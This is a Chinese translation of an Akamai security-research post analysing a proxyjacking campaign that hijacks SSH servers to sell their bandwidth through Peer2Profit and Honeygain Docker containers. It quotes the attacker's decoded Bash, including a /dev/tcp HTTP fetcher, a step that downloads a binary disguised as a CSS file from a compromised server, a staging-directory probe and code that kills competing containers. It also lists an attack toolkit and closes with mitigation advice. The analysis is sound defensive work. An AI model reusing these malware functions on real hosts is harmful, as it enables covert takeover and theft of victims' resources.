概述
Akamai安全情报响应小组(SIRT)发现了一个代理劫持活动,该活动针对易受攻击的SSH服务器,然后启动Docker服务,共享受害者的带宽以获取金钱。
该活动使用一个受损的web服务器来分发必要的依赖项,主动搜索和删除竞争实例,并使用混淆技术来逃避检测。
代理劫持已成为网络犯罪分子从企业和消费者生态系统的受损设备中牟利的最新方式。这是一种比加密劫持更隐蔽的替代方案,并且具有更严重的安全后果。
在极速发展的网络威胁世界中,攻击者正在不断寻求创新策略,以最大化他们的收益,同时最小化他们的努力。最近的一个例子是6月初在Akamai SIRT全球分布的蜜罐中发现的:以盈利为目的的代理劫持(proxyjacking)。
虽然代理劫持的概念并不新鲜,但作为一条获取经济利益的简单途径,这一媒介对企业和普通消费者都构成了威胁,从而提高了人们对这一问题的认识,并希望采取缓解措施。诸如Meris和Anonymous Sudan等行为者标志着新兴的威胁格局,当这种格局与通过代理网络传播的第7层(Layer 7)攻击的显着增加相匹配时,大量可用代理的积累将具有极其可观的经济价值。
在这篇文章中,我们将深入分析安全研究人员发现的一个新的代理劫持活动。这是一种活跃的攻击活动,攻击者利用SSH进行远程访问,运行恶意脚本,偷偷地将受害者服务器招募到P2P代理网络中,例如Peer2Proxy或Honeygain。这使得攻击者可以将毫无戒心的受害者的额外带宽货币化,此过程只需要加密挖掘所需资源负载的一小部分,并且被发现的机会更少。
我们将描述该活动的技术细节,并探讨以营利为目的的代理劫持的威胁概况。我们还将提出缓解建议,以便将这种旧技术的新用例带到最前沿。
什么是代理劫持?
加密劫持(Cryptojacking)已经在世界范围内广为人知,它指的是未经授权使用其他人的计算机来挖掘加密货币(例如比特币)。但最近兴起了一种鲜为人知的技术,叫做代理劫持(proxyjacking)。
使用代理劫持,攻击者不仅能窃取资源,而且还可以利用受害者未使用的带宽。受害者的系统作为P2P代理节点被秘密用于运行各种服务,攻击者最近开始通过Peer2Profit或Honeygain等组织获利。这些组织为普通用户提供了获得额外带宽报酬的机会,对许多人和实体来说,这是一个有吸引力且合法的前景。
然而,这些站点通常不会询问新代理节点的来源,而这正是非法行为开始的地方。虽然代理劫持行为已经存在了一段时间,但它只是最近才开始被正式用于盈利,这就是研究人员在这次活动中观察到的。
代理对网络罪犯来说有什么价值?
对于网络犯罪分子来说,代理的价值在于他们能够模糊自身的踪迹,使得追踪非法活动的源头变得极具挑战性。这种混淆是通过在到达最终目的地之前将恶意流量路由通过众多对等节点来实现的。图1说明了这一点,显示了个人如何公开地交换对代理的访问,从而为他们的流量提供多样化的路径。
这个特殊的列表是由于与本次调查集中的主要IP相关的在线帖子而发现的,并且包含超过16,500个其他开放代理。随着代理劫持的兴起,很明显,并不是所有的节点都愿意参与到这个网络中。这个列表也绝不是详尽无遗的,因为还有许多其他的帖子未被发现。
【图1:在线论坛上发布的开放代理共享列表】
在这篇文章讨论的活动中,我们的重点不是传统的“开放”代理,因为像Peer2Profit和Honeygain这样的公司声称只与理论上经过审查的合作伙伴分享他们的代理。然而,这些公司提供的帮助建立代理网络的激励措施,不仅吸引了合法来源,还吸引了那些试图利用该系统以损害他人利益的人。同样地,他们提供的实际服务肯定会吸引合法的企业和威胁参与者。因此,这个案例清楚地提醒人们,这些看似有益的服务同样存在潜在的安全隐患。
代理劫持活动首曝光
这个特别的活动于2023年6月8日首次曝光。Akamai的团队注意到一个攻击者建立了多个SSH连接到他们的一个Cowrie蜜罐(如图2所示)。由于Akamai对这个蜜罐的完全控制和监视能力,他们完整地跟踪和记录了攻击者采取的所有操作,这些操作主要是通过编码的Bash脚本执行的。
【图2:SSH蜜罐中代理劫持活动的映射】
攻击者的第一步行动是使用双base64编码的Bash脚本(图3所示),这是一种常用的技术,用于掩盖脚本的真实功能并逃避安全系统检测。
【图3:攻击者编码的Bash脚本】
在成功解码被混淆的Bash脚本之后,研究人员得以清楚地了解攻击者的代理劫持操作方式。有了这个解码脚本的日志记录,研究人员就可以细致地剖析攻击者意图进行的操作的性质和顺序。
破坏,部署,消失
这个解码的脚本有效地将受感染的系统转换为Peer2Profit代理网络中的一个节点,使用$PACCT 指定的帐户作为将从共享带宽中获利的附属机构。不久之后,在Honeygain的安装中也发现了同样的问题。该脚本被设计为隐蔽且强大的,试图在不考虑主机系统上安装的软件的情况下进行操作。
脚本首先定义了几个稍后使用的函数,其中第一个是curl的基本实现:
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\nUser-Agent: curl/6.1.9\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
然后在第二个函数中使用它来下载实际版本的curl(以“csdark.css”的形式托管在发行版服务器上)。似乎curl是该方案工作所需的全部,因此,如果受害者主机上不存在curl,那么攻击者就会代表他们下载它。
c(){
if ! command -v curl &>/dev/null;then
__curl http://xxx.xxx.xxx.xxx/main/dist/css/csdark.css > curl
if ! md5sum curl|grep -q 2a88b534fa8d58cef93e46c4ab380b23;then
echo "could not get curl"
exit
fi
chmod +x curl
export PATH=$PWD:$PATH
fi
}
根据研究人员的分析,这实际上只是curl的一个规律分布,没有太多或任何修改。它可能有额外的功能,无论是提高性能还是恶意的,但目前还没有任何证据佐证这一点。
这个可执行文件的真正有趣之处在于,尽管它被所有第三方供应商列为完全无害的(图4所示),但它是引导研究人员深入分析的最初工件。这种良好的声誉进一步支持了这只是curl实用程序的标准发行版的说法。正是因为有能力查看工件的来源才使它从一段无害的代码变成了我们现在所知的代理劫持计划的一部分。这突出了能够隔离所有不寻常工件(而不仅是那些被认为是恶意的工件)的重要性。
【图4:显示下载的curl应用程序信誉良好的截图】
攻击者还定义了另一个函数来移动到可写和可执行的位置,例如/dev/shm或/tmp。如果没有找到合适的目录,则退出可执行文件。
d(){
cd /dev/shm && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
cd /tmp && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
#mkdir -p $HOME/.cache/apt && cd $HOME/.cache/apt && return
echo "no suitable dir"
exit
}
脚本中定义的最后一个函数完成了一些设置bot的工作,但是这个函数的调用实际上在主脚本中被注释掉了,并被可能更实用的代码所取代。其余的代码实现了大多数操作。
出于安全原因,我们不能共享所有这些代码,但是可以引用其中的一部分,以便您可以了解我们正在讨论的内容。代码的某些部分使用[…]进行了编校。
脚本首先检查它们自己的容器是否已经启动并运行:
if ps axjf|[...]|grep […] "$PACCT";then
echo "already running"
Exit
然后,它们检查是否存在运行竞争带宽共享容器的其他容器,并扼杀它们。
if docker ps [...] |grep [...] peer2profit [...] p2pclient;then
for con in [...];do
if ! docker [...]|grep [...] "$PACCT";then
[...]
docker stop -t 10 $con
docker stop -s KILL $con
docker stop $con
echo "killed container: $con"
fi
done
Fi
他们首先创建一个工作目录,然后从包含资源共享程序的公共Docker存储库下载Docker映像,并将其命名为“postfixd”。从那里,他们只需按照公开的说明下载和解压缩镜像的Docker层,删除一些剩余的工件,然后离开。
cd .. && rm -rf pfp
多元化互联网带宽的价值
在这次活动中发现的P2P代理货币化方案是Peer2Profit和Honeygain,它们都有超过100万次下载的公开Docker图像(图5所示)。
【图5:Honeygain公开Docker图片,下载量100万】
在这些代理劫持案例中,代理被理论上合法但可能不道德的公司用于数据收集和广告等目的(见图6)。其中一些公司甚至可以让用户确切地看到自己的流量是如何被使用的。
【图6:Peer2Profit网站截图】
这些应用程序本身并不是恶意的;它们被定位为自愿服务,为用户提供分享自身未使用的互联网带宽的机会,以换取金钱补偿。交易相当简单,但其中一些公司没有正确核实网络中IP的来源,甚至偶尔建议人们在他们的工作电脑上安装软件。
当合法活动变成了网络犯罪
当在用户不知情或未经用户同意的情况下部署应用程序,从而有效地利用他们的资源时,情况就会发生巨大变化。这就是使用这些服务的看似无害的行为进入网络犯罪领域的关键所在。攻击者通过控制多个系统及其带宽,有效地放大了他们从服务中获得的潜在收益,而这一切都是以受害者为代价的。
这种情况与加密挖矿和加密劫持之间的区别有着惊人的相似之处。加密挖矿本身就是一种合法的活动,个人使用计算资源来挖掘加密货币。然而,当它演变为加密劫持时,它涉及未经授权使用他人的计算资源进行挖矿,将原本无害的活动变成恶意活动。
分析分发服务器
研究人员还检查了用于获取恶意Bash脚本中使用的curl二进制文件的服务器。这是一种无文件攻击(fileless attack),依赖于分发服务器来正确执行。
在查看该站点时,研究人员很快就得出了结论,这是一个受损的web服务器,被用作分发各种攻击组件的途径。研究人员通过这个网站找到了利比亚一家专门从事“高质量建筑材料”的公司。
分析评估的第一步是查看在与curl二进制文件(csdark.css)相同的路径中托管的其他内容(图7所示)。
【图7:在被感染的web服务器上托管的内容列表】
通过对构建该web服务器所使用的技术进行一些分析,研究人员发现它有许多过时且未维护的组件。这个网站路径专门用于支持一个称为metro-bootstrap的库,该库不再维护。通过熟悉这个库,我们能够解释2014年最后修改的三个文件。
然而,这些较新的文件让研究人员相信,这台服务器已经被攻破,现在被用作各种活动的下载点。为了分析这些文件,研究人员使用“wget -r”来下载它们。
csdark.css文件是我们前面讨论过的curl可执行文件,通过查看日期,可以推断出metro-bootstrap.min.xcss可以作为一种测试文件上传,csdark.css在第二天就被添加进来。这让vksp下落不明。根据下面的VirusTotal条目(图8),vksp实际上是一个名为perfcc的程序,是一个特定于linux的加密器。
【图8:显示perfcc在VirusTotal上被标记为恶意的截图】
我们也对这个文件进行了一些分析,发现它实际上包含一个加密工具,以及许多其他漏洞和常见的黑客工具。
~/.local/bin$ ls
addcomputer.py exchanger.py getST.py ldd2pretty normalizer
raiseChild.py secretsdump.py split.py
atexec.py findDelegation.py getTGT.py lookupsid.py ntfs-read.py
rbcd.py services.py ticketConverter.py
crontab flask GetUserSPNs.py machine_role.py ntlmrelayx.py
rdp_check.py smbclient.py ticketer.py
cygdb futurize goldenPac.py mimikatz.py pasteurize
registry-read.py smbexec.py top
cython GetADUsers.py karmaSMB.py mqtt_check.py ping6.py
reg.py smbpasswd.py wmiexec.py
cythonize getArch.py keylistattack.py mssqlclient.py ping.py
rpcdump.py smbrelayx.py wmipersist.py
dcomexec.py Get-GPPPassword.py kintercept.py mssqlinstance.py
psexec.py rpcmap.py smbserver.py wmiquery.py
dpapi.py GetNPUsers.py ldapdomaindump netview.py ps.old
sambaPipe.py sniffer.py
esentutl.py getPac.py ldd2bloodhound nmapAnswerMachine.py
__pycache__ samrdump.py sniff.py
这一发现对我们来说意义重大,因为我们有理由认为,历史上一直坚持将加密劫持作为收入来源的威胁行为者现在将以代理劫持为中心,或者至少是对这一活动的补充。看到这两个可执行文件托管在同一个受攻击的网站上,就可以看出这种新的盈利策略的价值所在。
影响和威胁形势
在以营利为目的的代理劫持出现之前,有许多其他形式的通过受损设备进行的犯罪牟利计划。最明显的比较是加密劫持,但利用合法服务并通过犯罪手段滥用其盈利能力的策略甚至可以追溯到更早的时候。
另一个典型的例子是,垃圾邮件的起源很大程度上始于联盟营销(affiliate marketing),即使在今天,这也是一种非常普遍的做法。有些公司只要您把客户带到他们的网站,就会按点击量付费,许多公司忽略了人们使用垃圾邮件来做这件事的事实。只要这些动机存在,只要公司愿意忽视来源的道德规范,犯罪行业就会围绕这些做法建立起来。
关于代理劫持还有另一个事实使其变得尤为危险:代理劫持本质上解决了加密劫持的唯一显著缺点——通过高CPU使用率进行检测。通过最少的CPU使用率,而不是依赖于未使用的互联网带宽,代理劫持可以避免以前用于加密劫持的一些检测手段。
如何防范代理劫持
更少的CPU使用意味着从企业的角度更重视IDS/IPS解决方案,以缓解代理劫持。日常用户应该实现强大的安全基础,例如使用复杂的密码并将其存储在密码管理器中,为应用程序应用补丁,以及尽可能启用多因素身份验证(MFA)。对计算机安全有更深入了解的用户还可以通过关注当前运行的容器、监视网络流量是否异常、甚至定期运行漏洞扫描来保持警惕。
在这个特殊的活动中,我们看到了使用SSH来访问服务器并安装Docker容器,但过去的活动也利用了web漏洞。如果您检查正在运行的本地Docker服务,并发现系统上有任何不需要的资源共享,那么您应该调查入侵,确定脚本是如何上传和运行的,并执行彻底的清理。
一定要检查任何其他入侵或妥协的迹象。更改所有密码,确保所有软件都是最新的,并考虑实施更严格的安全策略。此外,如果受影响的系统敏感或包含有价值的数据,还应该考虑聘请专业的事件响应服务。
除了这些攻击的恶劣性质之外,开放代理还是网络犯罪分子武器库中的重要工具,Meris和Anonymous Sudan等犯罪组织证明了代理攻击的破坏性和严重性。随着第7层攻击的持续增加,这个问题也会继续增加,而依靠这些代理网络公司来妥善管理他们的合作伙伴是一个非常糟糕的防御机制和薄弱的保证。
结语
旧的技术仍然有效,特别是当与新的结果相结合时。用代理劫持盈利就是一个很好的例子,我们肯定会看到新的战术出现,特别是针对这类攻击。这个矢量再次强调了构建强大基本面的必要性。标准安全实践仍然是一种有效的预防机制,包括强密码、补丁管理以及细致的日志记录。
原文链接:
https://www.akamai.com/blog/security-research/proxyjacking-new-campaign-cybercriminal-side-hustle